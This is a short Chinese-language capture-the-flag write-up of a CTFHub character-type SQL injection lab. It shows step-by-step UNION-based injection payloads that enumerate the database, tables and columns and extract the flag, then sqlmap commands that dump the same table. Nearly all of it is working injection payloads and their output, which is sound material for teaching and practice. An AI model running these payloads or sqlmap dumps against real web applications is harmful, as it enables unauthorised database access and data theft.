开启靶场,打开链接:
直接指明是SQL字符型注入,但还是来判断一下
(1)检查是否存在注入点
1' and 1=1#
返回正确
1' and 1=2#
返回错误
说明存在SQL字符型注入
(2)猜字段数
1' order by 2#
1' order by 3#
说明字段数是2
(3)爆数据库名
1' and 1=2 union select 1,database()#
得知数据库名是sqli
(4)爆表名
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#
显示表名是news表和flag表,其中flag表是我们需要的
(5)爆列名
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
得知flag表的列名是flag
(6)爆字段内容(flag)
1' and 1=2 union select 1,group_concat(flag) from sqli.flag#
成功得到flag:
ctfhub{ee5bfa3b423eb2d6142c66b9}
接下来就用一下sqlmap来试一下:
python sqlmap.py -u "http://challenge-a046856826dbc5de.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
python sqlmap.py -u "http://challenge-a046856826dbc5de.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump
一样成功得到flag